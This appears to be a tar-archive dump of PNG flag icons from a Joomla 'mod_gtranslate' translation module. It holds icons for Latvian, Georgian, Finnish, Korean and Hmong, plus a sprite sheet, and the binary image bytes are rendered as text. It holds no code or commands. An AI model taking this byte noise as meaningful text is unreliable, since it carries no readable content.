�TXDi	�c{�y�{��ǎNJ�*��H��=���~�q�(�4���	�/��� t����R�O��8����t�3�7�]`N9�7�x�K���	0��Q�=h�+K��R��ߝ+����Bx.� �	���t�0��k\1� �l���PZ�9^�W)#yh�t|�ۙ�@��	����F���`M��1ئ���F@om�?O��;x������]YT�]�'*�`�뷑N�H���N���v�>����ff��tF�E�hl�G�L�^5h^�E7?��;��«�����q��H^��n#a�5	ze���C���_�������	��܋+4n��]^�r�y��y찢"�Jk�� �6ǣ���|��� @�]�~#���Ѹ��/�J��o6��?:�q�zY��C���2fg����g��1�h�߉PZ\ĭ-a���eJ33�$�`X�ۣ�q�����J����. I|����ϰ�����@YI�$fw�W_e����_mr�}���TR_������$6yq� �����~�Ե��SŴx��v�w���j�"x"H���
e�H����*gׯ��gʗ/�</��0$�w���WP�j?��D���r@kp�~鍱���x��wPU��ߒmw�U$�~�p���εb�cz���~K��ͩ�Q�zG#X�S�X������;*�-:Q �P�����c�D�HJ�������k��c𬕌����f��c-tfn��%�%`��;�*�'�I�'i!�RO~NO���+��o�IEND�B`�mod_gtranslate/tmpl/lang/32/lv.png000060400000001026150746170550013024 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��N1����DB
H��^���G!��*`A�Ş��d�	z�����k{��3��3�&�#"0/mMS�o�����?��/!������WWU<��,`�9�}Oz|ķ��|�8����/���aL��+�g�K���
���]���u���)0Hi�uuBo6���F�3���ZG�1b9�h[� ��7�u�]<g��s5�+�=0��m�i�Ͱ"B����IҰ��e�(J�l~�V�z������� g%���&b�	������n�b�ip.����g����ϩ�@s&ƈ�U�@�f@U!F�(F/3CDj& ��=p��:���Ĥ�b1IP�ڶn"*ő��`U9>wR���ִh�8���'l܎���
IEND�B`�mod_gtranslate/tmpl/lang/32/ka.png000060400000001544150746170550013003 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��KkY���:�N觏GAPL�W#D?�K�.|1�aV�q�"�|����/��(NĘ���N�ˮtu��ݙ���t��1�p������p�SJD�MX�2�P�
�w�o	
P�zZ��_@���`�����W���Q�g��!aVnb�(�n���Sw�߹�����Ո�U�j][e ���xb�:���qԹߺ�"�6�� ̱2��Iz�=xD��5h�?��1~�8ś7�H�!5v����#���s��z�Io��_c��w����[cZ-������X��I�,�g� 7���O2�[��>�F�ب�"�&m�.�;���إ
��9�1�qF�"^i��`��4�X�:��e{�Y�s�U��i�X�9�w(�D��#X��(JYœ��a��s
"�n��J�@&�],l
�c�}��wo�뉂`X�y����)�ȧ�XV�/�B�f��dC���ՕT����N0Ƥ?B�
F��Q�Lj�
�D�K�?x�hq)9��F�t�։k���V�i4�0D//#a�i4��Hhl�q��D���0�3��a�4�Kד�-���s��<�E\�K�׼�eB�O����Y��]��̓�y����p�a��	0��\F��Q��V��UL�4
���i�uߔJ�T�B7��T�qx�U*{�u�T*3��1����`�C7���L�BJ���V��,����+�K�mJ�������/��U�gIEND�B`�mod_gtranslate/tmpl/lang/32/fi.png000060400000001013150746170550012775 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��;N�@��%k� HD$�ABt44�8�@�4�܂p��C""�{�A�'!���v�߬5k?���+�=Uj��������e����Ϭ�˫�����o�T[�U�݋NQ.�tb�^�(�jr�m�<YQl
����Z��r��Z�pX�'練�w��]�|�&c*~ֽ�V���_�|���)�K?��� �RS,BeM��$W�!�N�q�����-�8v�J9 ��p��- j�����0�c]9͉��XRK ��Ǖ���:"��o�Np���� �1Ap��s���2XO�9s�Wkm~�":�ɜ[i�25�ʁ"t��v�X��^o�i~-IJ��~��#�8(y>�g�4�{y��
+B��sZ5�����w�IEND�B`�mod_gtranslate/tmpl/lang/32/ko.png000060400000002521150746170550013015 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��[LSw�?��=\� ��HH�eY�%Y���DV�%��$�is�{‡eN���3��,^�1^�"FL6����B�ˆ�a^Bm�����T�b&/~_��~������,'4,3^	�- O>_& �V	!����2��H$x�(I$���Ln���aN�8��Ǐ�F�K&����q��q�&/�W�\A�e.5]����Ϸhr��Ogg'�O�&33�˗//-
���x��!����\.ג�B!���1�LSXXHgg�su�;"��ϟg���x�^


����n�'稁Q��Do/��ł\bG��@~~>v����T����|\�z��Lnn�0�
!<S.������EEEܹs���c?_g����h&7PUѬ\Izu5����'O"I���BNN;v�@���((�sl۶
��ĭ[����yF~�:��_�
%�QՉקO9z��ŋI[eee������GII	���I�w`
###���QUU5�5�aw�D	�v�ɥ-*BQ��d�46�3�hii�f�a�X��E
��'�ZQ�֡MO�Z�����yti���([�]��!��>^L"*�-ֳ�`��Z�1�u�"�y#�Io��	�n�޻�a�v-�3����F>�� ��z5o�"8ʄ,h�嗸B�R!�8�ll���~��􅼮�v-��U�@��0�qFm��I<��5��1<<̱cǒ�w7b1grI��˔�4�(JF��
TU�+�Rx�jCrݩS�x�����:c��͛�۷��g�r��9�z��Dģ
�Wc��
�*�	���({?}�<K���9|�o����)�X,���466r��
|>v���I{{;���\���=_9x��c��4>����v�%I���	n߾��j�l6S__�$I���#��DF"OJJJ2���SYY��h����G������xc�����GQU�������7=��uuu�F����̙38��d>�D"���M�Þ����▖���q8x�^�^/���g����쎎jkkٴi�,S\\LAA�cF�7�XQ������n���ؽ{76�m���h4r����	�B�\����l�A�u�Vq��]
��R�ń�����g^����5��ŋb!~�_V���J x���<�H@.P�yɗ��?��K�ʅ.��#b�����t��;���{���IEND�B`�mod_gtranslate/tmpl/lang/32/hmn.png000060400000001431150746170550013165 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�엻nQ�������c��h�@�D
�t�(��1(��Aހ�FTQ ��"A`'���Ι�X_֖M��4�fw���3��f��q�p�v�!P<�4$����aӅ���jF�0�������~u9.p��n��6��mO�>]���o��������öt��-�2|3�}f��p�<���iP��z}���Q_Wd7�7H�Uce+��)B~�`�)��M?���g�L�]`u+�`�
���}P�%hߝ.�K�ec��q���6+�3,u\y�}W!~[E�~Y������V��NJx)�vO��h���<F�t�#?��Sf��$�Lи��z�%�?���8�z2&pͨ�I��DX�t����E
2�C�G��4_�[�@���i>�
4�
zFa����u�+f�D�NK�a�t`�R��Y-ׁa;
Z
���}�HV�!�*�h�w8�6,���I-K!')�8��d{�*�z}��T���<�mjm�5�Q��pj����y�fst����M0+d���
] "T̰���(�ؙ�A_�F^ℬ��3�W?���I��I�lAD���9���)�����RG�A�y\n%�忁�n�OP<˴h������o�w��<�IEND�B`�mod_gtranslate/tmpl/lang/16.png000060400000062657150746170550012426 0ustar00�PNG


IHDR���M�tEXtSoftwareAdobe ImageReadyq�e<eQIDATx���	��e}7��YfO2YH	HX��	ZAq���V��V}m_mk�.��]l]ڿok�jm�֪mmU\P_��"��`1@1!	$!d�-3g?�<g��d&q&�'�|���!�u��<�9gr�V+���Gg��٨&�=I��9$���<��<��<�q�QL�տ�m�ݾ깗�'��O�(�J����Ѩ�ʏ ~�}&j����3"�8��_{Q�X�,9~��T���;ۧ�N�>�g�8��G�Aɢ��'�<2�c�^4�G#�ɣ��z�o*�0��WV���W\5�Į���_��<2��_���GZ��%�|�h�rQ�%'}L�_�J����׿���?v�����I�Պ/|f��[�|�!\y�U����/�_o�ss��S/��W�(���5��ꈞǞ�lJ��_zF<�z<�Į}��-�6�o�	t�5���p噓'O���_��|lڜ,��tFE�O+�g͖��Q��c�1�y������Xь��|4Gr�����FT~Z/ҹ�9�鬲�vyd�G�ъǝ�,V���=��7F�\��g�l���m��[n�GV�ވ�s��,�Z_O��ϏҼ�z��cqs$:FKIgΏ�yd�Ƿ��7
�V��gţO^l�8����Ν����;޵�_�ia.�u�����;���8.V��%Ѭ5��၈z�����g� ��������?�N�?P0�s�Pm�b��'v�
%;M3:
q�	g�9�+�
���n�#*�rD�Kz�#=F���0�!ƴU�Eq�P�<s{4>UL֩�+������ī̅ŋ�U3?�ʣVk�I+����]�?��[ㇷ>��M{�|�?�#W(�#��*���sg�w�n�'_7珏�m1tROt�����|k4��(,Y��ayd5?:
�a�@��������93�������?������)߬o��3�����u�U/����h5��3���>��L���՛�Ҷ���h�(�[~��ͯ8?�Vß�J�����bw�ʣ�[G~W��h&��QIA~��ħ�v'�:�˷�!�䌴P(��Q�T�򓑨o�ں|4��#���(�I��ZLZ�rIv���Q��b`���A���Ub`�͡�������(%�?��o�W�ћn���Xgg�DgTG��m�G��`r��k�����ܺ%�ʋ����~^_���Sק��ԯ������|��W�.�F:��]�I�=#=J���?^�,r���o���Ȱ��H)	tgR��Fw�E�^ۇ�=��O��ݽ���G>��gėzm���\��e�)�|C,�_Õ���3�'�ާk���;�v�����m���"��j�b]��b��4�'�4�j�l�Z�J��ڝ�����H��;�ّ|�1^���Ӿ{c�eX�GV��?���=��~��~���n�M_�&$_[�G�7!�RDo���d~Tc�`)��+������k~�P��w�W>��C�����e_�z��h�՟=D�����]Ia_�҅�Ռ\q���V�>~�lz�Y��/��y=F>�	V.ź]$l ���[�����*CQkT���N�G��q}�b���џ��Z�e�G%6���pulF?���7
oט��Eɝ?�p�
AzQy݁r|�Sj��<��@9�¼q�C����'��<�aڟO�(=ۜ�J�2�4��Ŵ,�[vb��}s�υWf�1d5?��|S#�F�Ǹ�K��pO������1��^��1�c�n5K?��8~��W���g���8���&��v�x…F?�B�*�٬�`y,z��x����M�G�ь'�<+~����{�h6jQO~�Q���
�X�;����D�D�G�l�r��~���<j{J��z-Jզ���l�H,�$�={f��Z=�5W�2�?~6%��v܊x�έ���y㍇?�9�?��*&�y+}>�=�j��t}<�z_�*թ�Q&{)�WGm~��va~�3�'�zt��2���ڸ��;�ܷ�&Z�$��xpʝq��ߊ�}����-��'w�m�
�R�BoO����������o�+���_��8c�����h��z�����G>ps�����i��'g�$��2C����d$�ѱm�d"��䒂V�Y�Q*�_�oN
`��Yr�	�<�s�s�1
]�c�t`����]�<=�-^���G��~����z:���-d�͏t?��h����9��F�_��f�)��ZssV~���Dy�~~���G�~���q��S�"�z�����l|�k?�������޷-K���.����췞=�8�1�|fP%�{�[b:c����[�ǥ�zj�t�ڸ�5q��'��;�M?j�L���1dtS���z��j�<ҟ-�-�<*G����e��J��Ǵy4��	e9ɣ�޹�=�))���W�^�������l��L�h�:�����/����ci?�t�r�<�W���O/����x���ۚQ�<~pg1}��#���+�&��V���/�?{���s�}&���LgRg����q_���8}щ�]<1�h~`d$>w�7�?}���)��$�{wO��挤'0�	��#%�t�#�5�<�[i��O��G2��I	��(L�Ľ��
��������"�,�G-��}�7�kc^!���a�:F��i��	y���ڸ��ч��v�[�=<��H��y(�x����������+��숯]e�e�ޥW`F��9���=q�9�|�\!���f�� �F���>8pD�>y<�<Q��1�$'$#�7��HO+�4^=pslNr����8���k��x��jڸ�����1��H���j��d0wr��<�<�<�!�c(��0��*;c��U�1~6�rw��*y y y���#�jy�X8d�V�@a�fP�@a�fP�@afP�@a�fP�@a�fP��(��0��
3(��0��
3(���
3(��0��
3(��0��
3�0��
3(��0��
3(��0
3(��0��
3(��0��
3(���
3(��0��
3(��0��(��0��
3(��0��
3(��0
3(��0��
3(��0����œ<:�Ǽ��F5y�I
w�0�a ��<�<�<�!�c(�b�-/x�#��W^}ղ�b�S��$������|ݗ_w���A�_��)������{�K�x�5�G6y\~D���_/�,��uۣR��^�������(D4����tyd�����������<2��_|��<��M�|�/ѯ�~5���,-�}�F#��;wf%���*k�H?���;�石r6��c��h4�q�'��z{־Y�j��-�Gvy4�<.��"�mgk֬�GVy�jqኅ֫e"��_9g�4�G2=��G�zyd�4Q\q�L[@{��o���j~$y����P�9g�WS��ͱia.�j�h��Dc���o�&�r/���C�?禌�M���h�X��yT��.Ǯ]{�C�������6�j��p�Ǯ����	��䉖,Y�1��&���Y���/z��u���h5����'�c3����zմ^e�G�Y���X�.����ׯ�~�^0.}�(�Èf3�/�(z�Y��r�F!-�ѨT�94�d��Ii��S6�I��
r*���Q�Tc``4y��g���N#_�z��.�J��@�1�|�}Gg�����?���36�6p��*�/
E�4�1n���c�h�J��Py4���!3�н�^
��Gb��϶��g��?�!*w�����)��]��}������_Z*%%����g�'�E,[�(���1�]L�+g�]�WS~~aOl�1`�2R*Ub���;�U���Ё3��Q-ـ��R>�v������]�>�<�0�J1�s���f���/Ų����b������(�tĚ7?���G���,����细k�_��߾����KtL��_c?�B9)��+#1\k�n1ma���?R-�?��>۸o~��o���d�j��L���7���U�K���V��P�����l�+6��u��H
�AW���8�k�����,�R�[WK
��W�۴��B��(�.�
(ɣs���b3�O��(��Ԣ�F̍�c�(��<)��Ӷ��#������t���
[��u;��hŒ�b,9�d����?�򻡵�]�9�6�?����`�8�z�����tks3F�v�����E���_�?�c�y!h�z�ٜ�{d��^�G�&���('y��<����	�K�?+ך.�<�1?����Ƹ�̏r�n�2�߽,�/?��=�z��=f۶mqŸ����V�|Bܿml���Y��"���֡׫�kY�^�R�q4�G�ʕ��w&{Dz����.'�-Q|��S�i�3���(t-���̮R��tD����g�o�1V�Z�����o8ܶ�O{�ƍ�S>`�2�`�(�{��K�\R�*uo���EW�c�?�m��7��9Y۞j�p�{�����Xu'%Id�]Ũ<d�2�ymt,���!��7�ӞbW�v��ZG_G�\f��P�s�d���?�Fa�<��X�җ��?�H��7d4����O���s%�������iq�8#=jWr�ܬ�a�O�tw>���K�H�G�b��n~$c�*D�t�j5Ǐ!׽�ɱz��Ys�=�ę�1vYH�-��f������ه9�	{K���r�zu���q���8�ѱ�_�h4���{��ǴszCsg��wv��]L��\h�m���¬�a�t~t&��0��vvL�gͨT��H�	K�`f�˚Z{�!��qm�����p�=.����W�����ݷ�L��a�#��1�`�Ϗb�J�>n��_�~��c���?�k�u	�?��,�'y�/Zh|`���.���G�Ո��&}��~64 ��5?͸�!��1��_}ネ��'�ce�J����q�q�y��p����>П<�_%7��7=mi�ZC2�;�\N�@�@��1�GZ���;c��U��>{J/�1���C�C�C�8��ȵZ-��*�
3(��0��
3(��0��
3(���
3(��0��
3(��0��
�Q�fP�@a�fP�@a�P�@a�fP�@a�fP�@afP�@a�fP�@a�f@a�fP�@a�fP�@a�P�@a�fP�@a�fP��fP�@a�fP�@a�f@a�fP�@a�fP��R��Gg��٨&�=I��9$���<��<��<�q�QL�՟��=�J��H�����=��lFzE�P(�˗%�Ü��zŕ�'~���x�o�G\��߈�Wy�|A�o~��Gy\��ϣ��W�dM���~r�Z�f�,��?�qyd����)�㺿�����y�+��#s?����[�t�(���_#��x�[��4?�����s���<�xƲ�0��~�(�q�����^�������q饗�r�@�\_r�]�?v��_���g׹g�̥� *��.����+�9Σ���������?)�]��D�و���U�	Ʌg/�����������ף��fz֒L�d~��E�QO��N]2�Z��U���#n�oW�ش�O{�޸�k���3N9��X�dIT׭Kv�Vt�vZ����w���U�K���իc̩߱B�V���H4v��̓�?k7��8�ŋ"=F���0�!ƴ�l@#�R�(�f�+�k��Xp[3r�d�+N�������*�j��{*�k�t�͍�b��$�6�Y��W��������~�k����{���yҽ�c��Qo�H��F*֪v ��=�K�wEzLzl�2rz+���pT�ո��b����<*����?�s�Y�ַ���xF|�?�#v���>�l�+�(E3y�30\�vhx��|�������6��C6*�j쮌F�>Om�;Ƣ�c0v?�+�݌��d�tWY+�n�,�dsOק}k��N���`�ze�zD:�?�Q�hωJ�#�s1Y=������Ѩ%��"c�����Vcp�:e��NS�r�cR�}���.�(V�X����G�)J_�zt-J�s�'6�pg\��#q��A����m�\�\6�Y���===���o3:�WO{L�T���5xM����1d�T)Ƕ��x��{�W�����yR!�;��='���VG��ޒQm4
\Vy�*�s�C#���K�M(�?��P��D�d��ʅ��r,[�CI!��XҘla_gl�5d��?j��)����E����p�t�ƃ9��z�e�?��d?_�L����:0C���:�	��d�����0W�����E8=��w���[����ǫ�r�S_o��@���r���w�8��Vg{�hޅ3���������pi,�7�9<<���/X�EϦe�\��`sk��X�n��ӟ��=��C���}��ލ(�������
s)�mjL^���M��چ�I�d~dzB���\��f��Ql9��J���Q�Yl�vS��� 5����+��Sr�Q)
\�y��H�(��Q߀�'˖-[�B|B�s�s����Z��q_~Q�Ȟ�qΓҥ.6o�'�x�+����/���'�����w��-t�c�m�'��f��EAK
�����U�V����
Ay,���x���yCq��_�zg_/�����%m��59��+6ٝ���U,Fs�{�4W&��#�1���]��l��w,��g�*����G��$�ƂXpz1n��ӱ���Xp��仃S/��j�15�qS֨Cϐ�y�/��ַ�c�X��E���+���� i��=q��'Ɵ���q���y���~�����7�Y�%Q����&��M���ǟ<���=�@��쌴T�\�G�9�	��ע"��
A���?�7
,����ݷ�[\r�`4�)E�7;��ʿ��'ɣ���6��5�;���&ΕV�����Q���3N���<���'��
Z��4����8n~g\rr%�+c+��7�'��F#9�n�2r��q�-��J�}�2��߉}OG���!��U�ƞ��^s�0�o#בL��}��x�.�>�������^o�/89FGv�'>�o�[2�͛�
s��Z�V�z�	/��Qn�
O�d�J����q8��V�R������:+�<e .��p���h�
��hM��z��	e���h�+�a�z$Y��r�{�U�'F&�+����M�3��f�w���zU����~����^!��k�.�������/�<�����ŋG1�o\��GM�-�K.�$v���x�3b�ڵF>�@��hu�Dtv�ZgGa�S�$ъ��<��#��\�Ew���&�T-W�����7D��0��oj%'��hf�G5:ӷ�p_r� &���z��ʣ�Τuu��˥�d�#��V��V�^�S֪�_� ��,=f_a����d͚5�_X������{ڿ�1�yL��gҟ�w��ϳ�t�Ё�:ٕ�����q�:4x�c
_�y��X�7�y�xh݃�O�\���'���qK�UI�Jק���:�5[�����G3n��(��ȣ�tء�v�����M�8��?�o}1��H���j�����r���<��<�œ>�����2��-�x>���C�C�C�8��ȵZ-��*�
3(��0��
3(��0��
3(���
3(��0��
3(��0��
�Q�fP�@a�fP�@a�P�@a�fP�@a�fP�@afP�@a�fP�@a�f@a�fP�@a�fP�@a�P�@a�fP�@a�fP��fP�@a�fP�@a�f@a�fP�@a�fP���n͹����Y[M�nC8�g0�\�ü#�#y�I2�Ey�C�<����.̵mv��/�9��j�l�W��'��7D�����\�e�;�\���~��S��/>�<V^}�<2���/?�<�v���� ���G�Ga�W�A�.�rB���ԡ��V��V]/�cm?/�cN_���KϋX�d^|�s�%�9w��ɕ̿[n��&�\��}3�?u�LgU;����-���h5�u޹3<��%�O+*k�G�y,���Y͏�k��#���Q<�5`���o�G����(�{/n�-��ΏҚ���8�cۅy��#���t�?g�0~��'^|z,\8?��O����B��<wP^��/j���c��<J�z�Vc�He�U�ց-g�x~W�*uyd�G�V���H4vL�N+�	$9`�H��G6y4�ը
Ge�AOTb��Z�$�c��h�"�I��wLb��Gz�<2ʣZ��p�^�J֫����aNJt���w�c�(,YQ��#�~u�Ƕ�m�8�4�(䶤ř�O������k_����	�|>ժ[�����Q(L�g߽���s�46��.c���T�94�lB�3��\�]�R6p�%yT�:00���*=���G��`ҏgv@3�>�lԓ�׋C�HT�xRR�[��n.Fapt�Q7?2�W�����W��(�uvR��=b��X���T��ݳ�ݳ�������
s&�������d�+Et�,�9gY|��ϋ�њh��Tibp�n��#9������ݥ��5?�z�����޶%~�g���=��!�<����=0^�'��Ͼ���J��e�����1�R�����<�����1\Y޾i���{{����b����
^�X��X�`ib(���=��F�X��/��o|�#���	�,\�ۏKO>�5x8�i�e�Ɗe]��D����{Gc��%����{�p����<�c��]
���ba��
���J�R���C���g6�::�|vڟ����pG.m�2ʣ2���x�P9^s�Y����O*��!K���X�p��֫���E��Q�3=�l����
�m1\���/��B�կ��(�c�}ۣ+ɣ���F���w��/�,6~�k1X+L�K�~Wt��\fyTbݶ=Q���sx}�~�U��M��ñ~�ht�[>R�E3W?P�vF3�F~V�h�q�X&ʵ�i��D��Ӣv��X��w��z#�UW�3ˣ<��;Ƣ�h��}��(�����V-�=�1d�GV� ��7�X�;���j����ͺg`2��h%�[Hr�ލ�=�;Z�f�}��Q.E�ٙ�F�y$�Icl�e�Gr��C�V|��:�����+�Ӗ��d���V>J��`��ȕ'��o��}Ы܏���%����������h��\_O�t')�zTj��UNN��_��M�w&��_��)�(
�#ŗW��e�B�GGg��ž�ؾ��@��G>ps���������j\f�2qӧ_�V�j|�ӟէ]�z+ZW�gl��;��q��8唷�|a��ZG47�b����[V� �IA������k��y~,��x���]2��B0~�k�߉�׾i�,��oe��ΙV3J^Ԕ�~��ѳ���d�M��}��Q����Na~Dh�^��ݾ�F�M�dd9?��h;����!��J�k.��z��_?��vM;���Z��ÑG�����v�֯���>�����N;g��c�z�]2��
�����#"9��ϟ��7 ^fj�Jt'���8���}s��י�����(��6-h�����/�jY���	LO�::��c�U�ĕ��s�b�:��U���t~${���n�\�gW����d~���9P�9�T�⻯��vx�ic�ۅ2�ㆿ~�����?�G&�k��Ŭ�5|�l6?��1�G#��yX�8��cp��\,�$?=6�^
��r�����/I���ϭ$��䏕G�G�ؒd�K�!y�C�s�Ǿœ�'�l_ŗ�VIsh�C�䑞%�x5�<�!y�C�`�hf��[a�fP�@a�fP�@a�P�@a�fP�@a�fP�@a6
�0��
3(��0��
3(��0
3(��0��
3(��0��
3(���
3(��0��
3(��0��(��0��
3(��0��
3(��0
3(��0��
3(��0��
3�0��
3(��0��
3(��0��(��0��
3(��0��
3<B
s��L�9��')�U�8���r���<��<�ɿ��P��_�,�c��T��?t��qͫ�!���z�G�NJ/|A��W^tDy���g�A���oQ���#�<.���}�|�����3��������zu���Ai�ܼ����WN���+_r�<��jYZ��&~q˶�-E���X~���s���:���f\p�.r�]5�l�%���F#��ة��w7Snj ��o�GFy��<�;�G!�F��.�Ƅ�QY+���h4[q�)�g�^ݹa�<2ʣ֌8cIo\��x�ފ���8��.��Y�ף�X����]>n�'-��&[Ys�<2�c��1X����⎝1o�q���y�Y��H�i%�T���>�8q��9o�?ߌZa4:}�>+z�[x���`��\��h�H��F+?�����uEz�<�ɣU�Esd$��hՓ�uj��iu}!r��-��yd�Gs�@T�0H6��I��'MA>�tN*be���W���z���=c��s�z�ڿ�L�h^�^խWY��=>~�mOl���J|끑x��E�{�
�X}�Y���GG!_�������W���ص��.�g�X�8�c�Qɺ�L��Fr�بM�㥾�)�0a�h�j6����j6�UK���xj|��;ڟJz٨V�10V����n_JBz٨W*Q�f�h_��'���E�K?���M����ǐ]š�&�L6��Fcm��qO׺�d�:��3~�g^4��(Y�䑝J���Ubxl��U~���3�/���u[ܲm$k��>O���������>��Q[��QH���1���*KV���C�ۥ�?�x�����<���Q��ۅ��+>˖�ǎ��֗���N_�� �_�l�:���pAwl�1h�3RJ&��d�*�b⛘�{:s�)�>�l����H
�p;��+���zV���Ԋ�+�Q��b�\�̕��c��2�c�@Ҍ�"��V���J���h?��^Y�ut%�\�]��9S�Gf�}�M1�lY%'��ui���S���c���.�.'��_����u��k��ο"�~Pj�ϝ�K�Xҗ�t�8��ߌ����u�R)����e4?�8a��5�9�i����\*�M��=\��|���k���]���:�FJ���Ս|Fnxٟ��d|[3;#�\c�[�]&'0��ձaC��f4#�!�f%��TjϦʗzb�}��~=s!"?� JϦe���љ��J�(%`��p��+�OJ{��V<�g~lO��X�d�JJ��Q.�
\��cݺu��<������a�2R�T�-}����$.9aA<�����O/�Zq��n��=טּdi�c�6����ϣ�qӔ��'���<VN6�bG���m����'i�l>�M�F3j���Ϫ�y��wfxD-9�f�2,h���ޢ��EcW3�&;R=��f�y+�X�vd�z=ʮ�d�Gz�XW��\.v6�їɞ���{��[��Փ�Qm��֫r��e�9�1���� �<&:m^Gtr���]��/�y�y�?.��=�s��_^t”c�.����?��݆�L�����]�?���qRr��,ͬ��z�Z-�l�3
49�l&��i͉w��4g���fg���%�=�����KKq+|qo�����Z7�U�)�̍J�	Lvy$�7��,��cO�����'߿�P����=I���/��呡�n�)V�Z5�c6n���r��;J��u�;-�����f+����h�~�5��:o>�/0���w� 
�zb�:�~����$��i
�Q=P�˕J�ҷ���f��Wʞ2�6�\o2й��PO'��+�/�d�����c�S��7�'��[W��d~d�G�@�(_�՝,d�X��F2�O��j�rZ���G��ð��1�ؾ���18:~Q��'������7ņ��X�����\V'��Jt�wMy��Cw�f���j�<�L(��+�[�=3��,���U�N�Jz5,9�����$yx�_fJ��Ѭ�
~kl��Ʉ,��cಚi�M֫\gG{��}��1���c�����1d�^U��1���m/9g���Gk^pf�햭��w�<3�Z5:���Y�Y�J��Z��ñ^��i߭x�_5�*s����T3�_�z3��:$�c$��d����s������#���l����8֫z�Y�F���Ҥ<j��x�Fl�G6�GR�F��a~�?0?6v_���`җ���p�,��䱥�j
�`��r9y�y�y�C�PiaN_]����2���S����s�<�<�<�!�c(�\��ձp�­0��
3(��0��
3(��0��(��0��
3(��0��
3(��0P�@a�fP�@a�fP��fP�@a�fP�@a�f@a�fP�@a�fP�@afP�@a�fP�@a�fP��fP�@a�fP�@a�P�@a�fP�@a�fP�@afP�@a�fP�@a�!�9yt&�y{���j�ؓ�a��@r9y�y�y�C�P��_�[��r����+��e�;�0���^y�V����e����"�|��G4?�����#�<.ó�G��}^����������?��q�5��"��~f�髶�҅��1��6-mc~g#��O���^=��_7%��^�w�>��O�r�7]/��HNB&��+Ez�E����y�������l���[�����/��:��3���2*���c:���8����Ѫ��CK>��A�L�p+��#�<��z���ԟ3'�S-�(���kw�'�����F<��q�z|ee3^��D��oLF���~q����yd�lj�w��_R�n95��y�SF���E����L��<2ȣ�l�y�N��Ak��7?2��“�8�u�t�����i�<2ʣ��f��-F鎟DeæXp�s�x�i���o^+WD��;:O;5���\�c�ݥp�׾xdu.W0�s�Ъբ9<�ݻ��䓓�VF}�֨��xp���-���C�7�yT���bwyd�7���;(����#=F��d�����_�+6l�[V?6^󸳢�_K
sm��/YQ�GFy��ew�m�>6���'V�~ ����O"������?Ԟ�	��i���%���5�jlV�Uz�<��?��c�kt�?�ع�z5/Y�Uyd�G�����tϺ��#���ziT�[���=��}�k�S.��g��?������Ƕ/�4��](�.���Q�T��}{�>�y1�W5J�F4�3�܎Q߶m|������c��/�2�w�%%��s��T��Bg�TF���/��h��슧^0_�A��7'�uΞx�y�?K��?/������&���R�b`��GǢ^nud���C�Ţ���:�{{��7��~�>��h�P�V��,�>��J�,���LT����ҞC�c>��V��g��cg����=��Q��k�B_o��c�=�Gg~^t,^�����%'0����>��b�sŇb�����w�h_��]4.��;��|Fj�r�,]^��x׻bϧ?�y�\��g>3ƾ��fӾ���jAzٸ􄳣g���f`0jwݝޅg��E'W�R�ed`�����t4�}A!>sm9~pӵ�C�W����
\F>{ͪx�o��Zq��x�G�k}箾�u��|n��(m�GV�r�{��W��P���E��4��s�P�n������t�R���C1T��zW�I�9�Tj�GV�+���wF����^�=cIY�*���������/�����z����Fu�2�}�eݦF�0�D�����y�ff,�cA���dr��碾kW䆆b����"�7/?�h�%�P���Q*x�&�+�ʤ
�96嵷G��?��k��˦Cv�cݺu�7�;��#�~Q1>��Co0��#:\F��E�R=�ߓ�Y����~T{�Z8o8���y�c#-2xGa�J����[}(r�oǞy���zu�֫d�^�sK�0Jc��KO��֫�\�շū�}(���;q��Fw��>���dWT��N���t}����3N���]���
s9	�U,Fs���\o4�QwE3+�ԒB�^=�~�c��������=�noD���d4����N`2�㠫�����y�/D�ڟ/x��~�1�q�<x��bsw>>���ïW�z�^��,+_[��X��$����`{�_L�Zn��؞3nGk�J-�ڙ|�$�%��;����zu��(E��#�W�C�Ps���d���f,�����k?vk,�碯҈
+'�D���h��#݅x�O�s�PR���r�@a���/�U�V��/ݸqc�r�[�~W�ū��c��%�?�q�iQ�}mT�;v��_E��k����W��j���j.#����w���⤯w]xA���k�5��b!z�e��X�׿�;6���/7ۛ�E?-���i�����;��:�����n����?F��#�@^����q�	��hN�j��G���B�($�Ɓ���3p��J�����k֣RQ��2���S*Ŀ={U�qkl<�/�:y^��Ǜ��Y���g.}Tl\�gm�FG1J����H�.��f8�ҧ�
�|��c�[�F��3��eK�|�]�~�����2����ݽ}њ��m5py��5�����W���'>-���U�����p-��ܔ�\*9��ʖ3�ݽ�'��c�
�of����;��ݣ�����E�4~Qe��'����*��T�������$�fȤ�5�d?Ϯ0׫I��/~�x`y_|�¥q��q�#q���O?1���mqVry����\�R�|�0�w�eѽ�V�}�^���V��l*���z�O�z����E&�4Wܒ�႗l&�]�+����ĞШGŋ��;��5�k_�GgG3.|³��+>��ۣ�h��%݇8	u�&+�n�1��wެ�yp�ڈ��7x��ɂ�Q�ٻ����c��N�V��V3:�G��9qC�G�Zc��٪��n��Q)�3�7�x��q˅'D.�&�V|粓���
�Dž�_�*�����H~莡�#�����j�188~5y�W��x��H���=A/��� ���P�Ba(V?�q���K�}�J�u�d��9O|�#�<�?�	�#<���}�d.�P�P#�O��#k֬��F�q��7b`ö�_3�t��n�O�O}I_��2�K�+��Y��i�[Z��K�s(���C�C�C�8��Hs�~d�1��*�h��V�s�s�<�<�<�!�c(�\k�o%��­0��
3(��0��
3(��0��(��0��
3(��0��
3(��0P�@a�fP�@a�fP��fP�@a�fP�@a�f@a�fP�@a�fP�@afP�@a�fP�@a�fP��fP�@a�fP�@a��ٻp���^���9N&�@��
81���(�:+�U�m�*u��b��U�8�RZl+jš��V���\$ʨ��@B�3����I���dS4�_�����|o����k�
3 0��3� 0��3� 0��� 0��3� 0��3� 0����y��jZ�R��ƽX�LF=��P�C=��AT�|�ς��hs}Ӧ�/_C���]�?������eث<�U�m��ƥ_xyl���Ɗ�Oy�W��e瞢]���O���Z�_��ѯ#�׊V%��Z���xO��{����j�Q=F�-Ģ�\�]�GD6��R=�P��'�d��a�x`Ə]e��N=����o>�j����iN���_��y���/�z���ę�͍��bՋ�^=��U�Ɲ�z~d.�.8�Ǐv`����"��ȥ���?����'E��\s]��\�����8����zsG]�~����q�
